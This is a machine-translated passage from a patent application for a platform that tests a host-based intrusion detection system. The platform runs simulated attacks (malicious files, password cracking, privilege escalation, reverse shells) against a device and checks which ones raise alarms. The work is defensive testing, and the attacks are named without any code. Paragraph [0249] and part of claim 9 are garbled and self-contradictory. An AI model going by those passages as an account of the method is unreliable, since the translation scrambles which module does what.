[0247] The host-based intrusion prevention performance detection embodiment based on a cloud-native environment provided in this application can be executed on a terminal, computer terminal, server, or similar computing device. Taking running on a server as an example, Figure 10 This is a hardware structure block diagram of a workflow platform for testing the protection performance of a host-based intrusion detection system, provided according to an exemplary embodiment. Figure 10As shown, the server 400 can vary significantly due to different configurations or performance. It may include one or more Central Processing Units (CPUs) 410 (CPUs 410 may include, but are not limited to, microprocessors (MCUs) or programmable logic devices (FPGAs), a memory 430 for storing data, and one or more storage media 420 (e.g., one or more mass storage devices) for storing application programs 423 or data 422. The memory 430 and storage media 420 may be temporary or persistent storage. The program stored in the storage media 420 may include one or more modules, each module may include a series of instruction operations on the server. Furthermore, the CPU 410 may be configured to communicate with the storage media 420 and execute the series of instruction operations stored in the storage media 420 on the server 400. Server 400 may also include one or more power supplies 460, one or more wired or wireless network interfaces 450, one or more input / output interfaces 440, and / or one or more operating systems 421, such as Windows Server™, Mac OS X™, Unix™, Linux™, FreeBSD™, etc.

[0248] The input / output interface 440 can be used to receive or send data via a network. Specific examples of the network described above may include a wireless network provided by the communication provider of server 400. In one example, the input / output interface 440 includes a network interface controller (NIC), which can connect to other network devices via a base station to communicate with the Internet. In another example, the input / output interface 440 may be a radio frequency (RF) module for wireless communication with the Internet.

[0249] Those skilled in the art will understand that Figure 10 The structure shown is for illustrative purposes only and does not limit the structure of the aforementioned electronic device. For example, server 400 may also include... Figure 10 The more or fewer components shown, or having the same Figure 10 The different configurations shown.

[0250] It should be noted that the order of the embodiments described above is merely for descriptive purposes and does not represent the superiority or inferiority of the embodiments. Furthermore, specific embodiments have been described above. Other embodiments are within the scope of the appended claims. In some cases, the actions or steps described in the claims can be performed in a different order than that shown in the embodiments and still achieve the desired result. Additionally, the processes depicted in the drawings do not necessarily require a specific or sequential order to achieve the desired result. In some embodiments, multitasking and parallel processing are also possible or may be advantageous.

[0251] The various embodiments in this specification are described in a progressive manner. Similar or identical parts between embodiments can be referred to mutually. Each embodiment focuses on describing the differences from other embodiments. In particular, the device and server embodiments are basically similar to the method embodiments, so the descriptions are relatively simple; relevant parts can be referred to the descriptions of the method embodiments.

[0252] Those skilled in the art will understand that all or part of the steps of the above embodiments can be implemented by hardware, or by a program instructing related hardware. The program can be stored in a computer-readable storage medium, such as a read-only memory, a disk, or an optical disk.

[0253] The above are merely preferred embodiments of this application and are not intended to limit this application. Any modifications, equivalent substitutions, improvements, etc., made within the spirit and principles of this application should be included within the protection scope of this application.

Claims

1. A method for detecting host-based intrusion prevention performance in a cloud-native environment, characterized in that, Host-based intrusion prevention performance testing involves detecting the protection coverage of a host-based intrusion detection system in a device under test. This method is applied to a workflow platform, which, along with the device under test, is connected to an alarm storage system. The workflow platform simulates attack operations on the device under test. The host-based intrusion detection system protects the device under test and, in the event of an abnormal attack, sends alarm information corresponding to the abnormal attack handling to the alarm storage system. The workflow platform also retrieves alarm information from the alarm storage system to test the protection coverage of the host-based intrusion detection system. The method includes: In response to a received intrusion prevention performance detection command, a flow orchestration canvas that allows for visual editing of the workflow is provided; wherein, the flow orchestration canvas includes functional modules corresponding to different services; From the functional modules corresponding to the different services, multiple protection performance detection modules for the host-based intrusion detection system are obtained. These multiple protection performance detection modules include a login information acquisition module, a simulated abnormal attack module, an alarm information acquisition module, and a protection performance analysis module. Each of these modules is used to perform different protection performance detection tasks. The login information acquisition module, simulated abnormal attack module, alarm information acquisition module, and protection performance analysis module are derived by abstracting the configurable content in the logic corresponding to each of the login information acquisition process, simulated abnormal attack process, alarm information acquisition process, and protection performance detection process. These processes are protection performance detection processes for the host-based intrusion detection system. The configurable content in the logic corresponding to the login information acquisition process is login information; the configurable content in the logic corresponding to the simulated abnormal attack process is abnormal attack handling; the configurable content in the logic corresponding to the alarm information acquisition process is the type of candidate alarm information acquired; and the configurable content in the logic corresponding to the protection performance detection process is the form of the protection performance detection result. In the flow orchestration canvas, the execution dependencies between the multiple protection performance detection modules are established through the workflow engine, and the function execution trigger logic corresponding to each of the multiple protection performance detection modules is configured to generate an automated protection performance detection execution workflow; the function execution trigger logic is the logic that triggers each protection performance detection module to execute its respective function. In response to the execution workflow execution instruction, the system calls the login information acquisition module in the execution workflow to acquire the login information of the device under test and transmit the login information to the simulated abnormal attack module; the simulated abnormal attack module includes a simulated malicious file attack module, a simulated abnormal login attack module, a simulated password cracking attack module, a simulated abnormal command attack module, a simulated privilege escalation attack module, and a simulated reverse bounce attack module to log in to the device under test using the login information and simulate the execution of their respective simulated abnormal attack processes on the device under test; the system calls the alarm information acquisition module to acquire candidate alarm information identified by the host-based intrusion detection system from the device under test; and the system calls the protection performance analysis module to analyze whether the candidate alarm information includes alarm information for abnormal attack processing and generate a protection performance test result for the host-based intrusion detection system based on the analysis result.

2. The method according to claim 1, characterized in that, The stream orchestration canvas includes a module area, which includes functional modules corresponding to different services; obtaining multiple protection performance detection modules for the host-based intrusion detection system from the functional modules corresponding to different services includes: In response to a search command triggered based on the module region, multiple protection performance detection modules corresponding to the search command are obtained from the functional modules corresponding to different services in the module region.

3. The method according to claim 2, characterized in that, The flow orchestration canvas also includes an editing area. Within the flow orchestration canvas, the execution dependencies between the multiple protection performance detection modules are established through a workflow engine, and the corresponding function execution trigger logic for each of the multiple protection performance detection modules is configured to generate an automated protection performance detection execution workflow, including: In response to a drag operation triggered based on multiple searched protection performance detection modules, the multiple searched protection performance detection modules are dragged to the editing area; In response to the logical configuration instructions triggered by each of the multiple protection performance detection modules in the editing area, the workflow engine configures the function execution trigger logic corresponding to each of the multiple protection performance detection modules. In response to a connection operation triggered by any two protection performance detection modules in the editing area, the workflow engine draws a directed connection edge between the two protection performance detection modules to generate the execution workflow; the direction of the directed connection edge represents the execution dependency relationship between the two protection performance detection modules.

4. The method according to claim 1, characterized in that, The step of invoking the login information acquisition module in the execution workflow, so that the login information acquisition module acquires the login information of the device to be detected and transmits the login information to the simulated abnormal attack module, includes: The login information acquisition module in the execution workflow is invoked to enable the login information acquisition module to provide a login information editing page; the login information editing page includes a port address information editing area and a login information editing area. In response to an editing operation triggered based on the port address information editing area, the port address information of the device under test is obtained; in response to an editing operation triggered based on the login information editing area, the account information of the device under test is obtained. The port address information and the account information are identified as the login information; the login information is used to transmit to the simulated abnormal attack module.

5. The method according to claim 1, characterized in that, The alarm information acquisition module is invoked so that it acquires candidate alarm information identified by the host-based intrusion detection system from the device under test, including: The alarm information acquisition module in the execution workflow is invoked, so that the alarm information acquisition module calls the host-type intrusion detection interface in the alarm storage system to obtain the candidate alarm information from the alarm storage system; The candidate alarm information is sent to the alarm storage system by the host-based intrusion detection system when it detects abnormal attack processing on the device under test.

6. The method according to claim 1, characterized in that, The step of invoking the protection performance analysis module, enabling the module to analyze whether the candidate alarm information includes alarm information for handling abnormal attacks, and generating protection performance detection results for the host-based intrusion detection system based on the analysis results, includes: The protection performance analysis module in the execution workflow is invoked so that the protection performance analysis module determines the abnormal attack handling task whose alarm information is included in the candidate alarm information as the first abnormal attack handling task, and determines the abnormal attack handling task whose alarm information is not included in the candidate alarm information as the second abnormal attack handling task. It is determined that the host-type intrusion detection system has the protection performance corresponding to the first abnormal attack handling task, and does not have the protection performance corresponding to the second abnormal attack handling task. The protection performance test result is taken as whether the host-type intrusion detection system has the protection performance corresponding to the first abnormal attack handling task and does not have the protection performance corresponding to the second abnormal attack handling task.

7. The method according to claim 6, characterized in that, The step of taking the host-type intrusion detection system's protective performance corresponding to the first abnormal attack handling task and its lack of protective performance corresponding to the second abnormal attack handling task as the protection performance detection result includes: A first identifier is determined for the protection performance corresponding to the first abnormal attack handling task, and a second identifier is determined for the protection performance corresponding to the second abnormal attack handling task. By combining the protective performance corresponding to the first abnormal attack handling task and the first identifier, a first data combination result is obtained; by combining the protective performance not corresponding to the second abnormal attack handling task and the second identifier, a second data combination result is obtained. The first data combination result and the second data combination result are determined as the protection performance test result.

8. The method according to any one of claims 1 to 4, characterized in that, The plurality of protection performance testing modules also include a data sending module, which is used to perform the task of sending the protection performance testing results; After obtaining the protection performance test results for the host-based intrusion detection system, the method further includes: The data sending module is invoked to send the protection performance test results to the device under test.

9. A host-based intrusion prevention performance detection device based on a cloud-native environment, characterized in that, Host-based intrusion prevention performance testing involves detecting the protection coverage of a host-based intrusion detection system in the device under test. The host-based intrusion prevention performance testing device is applied to a workflow platform. The workflow platform and the device under test are respectively connected to an alarm storage system. The workflow platform is used to simulate attack operations on the device under test. The host-based intrusion detection system is used to protect the device under test and, in the event of an abnormal attack handling on the device under test, to send alarm information corresponding to the abnormal attack handling to the alarm storage system. The workflow platform is also used to retrieve alarm information from the alarm storage system to detect the protection coverage of the host-based intrusion detection system. The device includes: The first response module is used to respond to the received intrusion prevention performance detection command and provide a flow orchestration canvas that allows for visual editing of the workflow; wherein, the flow orchestration canvas includes functional modules corresponding to different services; The acquisition module is used to acquire multiple protection performance detection modules for the host-based intrusion detection system from the functional modules corresponding to the different services. These multiple protection performance detection modules include a login information acquisition module, a simulated abnormal attack module, an alarm information acquisition module, and a protection performance analysis module. Each of these modules is used to perform different protection performance detection tasks. The login information acquisition module, simulated abnormal attack module, alarm information acquisition module, and protection performance analysis module respectively analyze the login information acquisition process, simulated abnormal attack process, and alarm information acquisition process. The configurable content in the logic corresponding to each of the process and protection performance detection process is abstracted to obtain the following: the login information acquisition process, the simulated abnormal attack process, the alarm information acquisition process, and the protection performance detection process are protection performance detection processes for the host-based intrusion detection system; the configurable content in the logic corresponding to the login information acquisition process is login information; the configurable content in the logic corresponding to the simulated abnormal attack process is abnormal attack handling; the configurable content in the logic corresponding to the alarm information acquisition process is the type of candidate alarm information acquired; and the configurable content in the logic corresponding to the protection performance detection process is the form of the protection performance detection result. The generation module is used in the flow orchestration canvas to establish the execution dependencies between the multiple protection performance detection modules and configure the function execution trigger logic corresponding to each of the multiple protection performance detection modules through the workflow engine, thereby generating an automated protection performance detection execution workflow; the function execution trigger logic is the logic that triggers each protection performance detection module to execute its respective function. The second response module is used to respond to the execution workflow operation instruction, automatically execute the intrusion prevention performance detection instruction according to the execution workflow, and obtain the protection performance detection result for the host-based intrusion detection system; the second response module includes: a sequential invocation module, used to invoke the login information acquisition module in the execution workflow, so that the login information acquisition module acquires the login information of the device to be detected and transmits the login information to the simulated abnormal attack module; invoking the simulated abnormal attack module including the simulated malicious file attack module, simulated abnormal login attack module, simulated password cracking attack module, simulated abnormal command attack module, simulated privilege escalation attack module, and simulated reverse shell attack module, so that the simulated malicious file attack module acquires the login information of the device to be detected and transmits the login information to the simulated abnormal attack module; and invoking the simulated malicious file attack module, the simulated abnormal login ... and the simulated reverse shell attack module, so that the simulated malicious file attack module acquires the login information of the device to be detected and transmits the login information to the simulated abnormal login attack module. The malicious file attack module, simulated abnormal login attack module, simulated password cracking attack module, simulated abnormal command attack module, simulated privilege escalation attack module, and simulated reverse shell attack module each use the login information to log in to the device under test and simulate the execution of their respective simulated abnormal attack processes on the device under test; the alarm information acquisition module is invoked so that the alarm information acquisition module obtains candidate alarm information from the device under test based on the host-based intrusion detection system; the protection performance analysis module is invoked so that the protection performance analysis module analyzes whether the candidate alarm information includes alarm information for abnormal attack processing, and generates protection performance detection results for the host-based intrusion detection system based on the analysis results.

10. The apparatus according to claim 9, characterized in that, The stream orchestration canvas includes a module area, which includes functional modules corresponding to different services; the acquisition module includes: The acquisition unit is used to, in response to a search command triggered based on the module region, acquire multiple protection performance detection modules corresponding to the search command from the functional modules corresponding to different services in the module region.

11. The apparatus according to claim 10, characterized in that, The flow arrangement canvas also includes an editing area, and the generation module includes: The first response unit is configured to respond to a drag operation triggered based on a plurality of searched protection performance detection modules, and drag the plurality of searched protection performance detection modules to the editing area; The second response unit is used to respond to the logical configuration instructions triggered by each of the multiple protection performance detection modules in the editing area, and to configure the function execution trigger logic corresponding to each of the multiple protection performance detection modules through the workflow engine. The third response unit is used to respond to a connection operation triggered based on any two protection performance detection modules in the editing area, and to draw a directed connection edge between the two protection performance detection modules through the workflow engine to generate the execution workflow; the direction of the directed connection edge represents the execution dependency relationship between the two protection performance detection modules.

12. The apparatus according to claim 9, characterized in that, The sequential invocation of modules includes: The first invocation unit is used to invoke the login information acquisition module in the execution workflow, so that the login information acquisition module provides a login information editing page; the login information editing page includes a port address information editing area and a login information editing area. The address and account acquisition unit is used to acquire the port address information of the device under test in response to an editing operation triggered based on the port address information editing area, and to acquire the account information of the device under test in response to an editing operation triggered based on the login information editing area. The login information determination unit is used to determine the port address information and the account information as the login information; the login information is used to transmit to the simulated abnormal attack module.

13. The apparatus according to claim 9, characterized in that, The sequential invocation of modules includes: The third calling unit is used to call the alarm information acquisition module in the execution workflow, so that the alarm information acquisition module calls the host-type intrusion detection interface in the alarm storage system to obtain the candidate alarm information from the alarm storage system; The candidate alarm information is sent to the alarm storage system by the host-based intrusion detection system when it detects abnormal attack processing on the device under test.

14. The apparatus according to claim 9, characterized in that, The sequential invocation of modules includes: The fourth calling unit is used to call the protection performance analysis module in the execution workflow, so that the protection performance analysis module determines the abnormal attack handling task whose alarm information is included in the candidate alarm information as the first abnormal attack handling task, and determines the abnormal attack handling task whose alarm information is not included in the candidate alarm information as the second abnormal attack handling task. The protection performance determination unit is used to determine whether the host-type intrusion detection system has the protection performance corresponding to the first abnormal attack handling task and does not have the protection performance corresponding to the second abnormal attack handling task. The detection result determination unit is used to take the protection performance detection result as the host-type intrusion detection system having the protection performance corresponding to the first abnormal attack handling task and not having the protection performance corresponding to the second abnormal attack handling task.

15. The apparatus according to claim 14, characterized in that, The detection result determination unit includes: The identifier determination subunit is used to determine the first identifier that has the protection performance corresponding to the first abnormal attack handling task, and the second identifier that does not have the protection performance corresponding to the second abnormal attack handling task. The combination subunit is used to combine the protection performance corresponding to the first abnormal attack handling task and the first identifier to obtain a first data combination result; and to combine the protection performance not corresponding to the second abnormal attack handling task and the second identifier to obtain a second data combination result. The combination result determination subunit is used to determine the protection performance test result by combining the first data combination result and the second data combination result.

16. The apparatus according to any one of claims 9 to 12, characterized in that, The plurality of protection performance testing modules also include a data sending module, which is used to perform the task of sending the protection performance testing results; The device further includes: A sending module is used to invoke the data sending module so that the data sending module sends the protection performance test result to the device under test.

17. An electronic device for detecting host-based intrusion prevention performance in a cloud-native environment, characterized in that, The electronic device includes a processor and a memory, the memory storing at least one instruction or at least one program, the at least one instruction or at least one program being loaded and executed by the processor to implement the host-based intrusion prevention performance detection method based on a cloud-native environment as described in any one of claims 1 to 8.

18. A computer-readable storage medium, characterized in that, The computer-readable storage medium stores at least one instruction or at least one program, which is loaded and executed by a processor to implement the host-based intrusion prevention performance detection method based on a cloud-native environment as described in any one of claims 1 to 8.

Images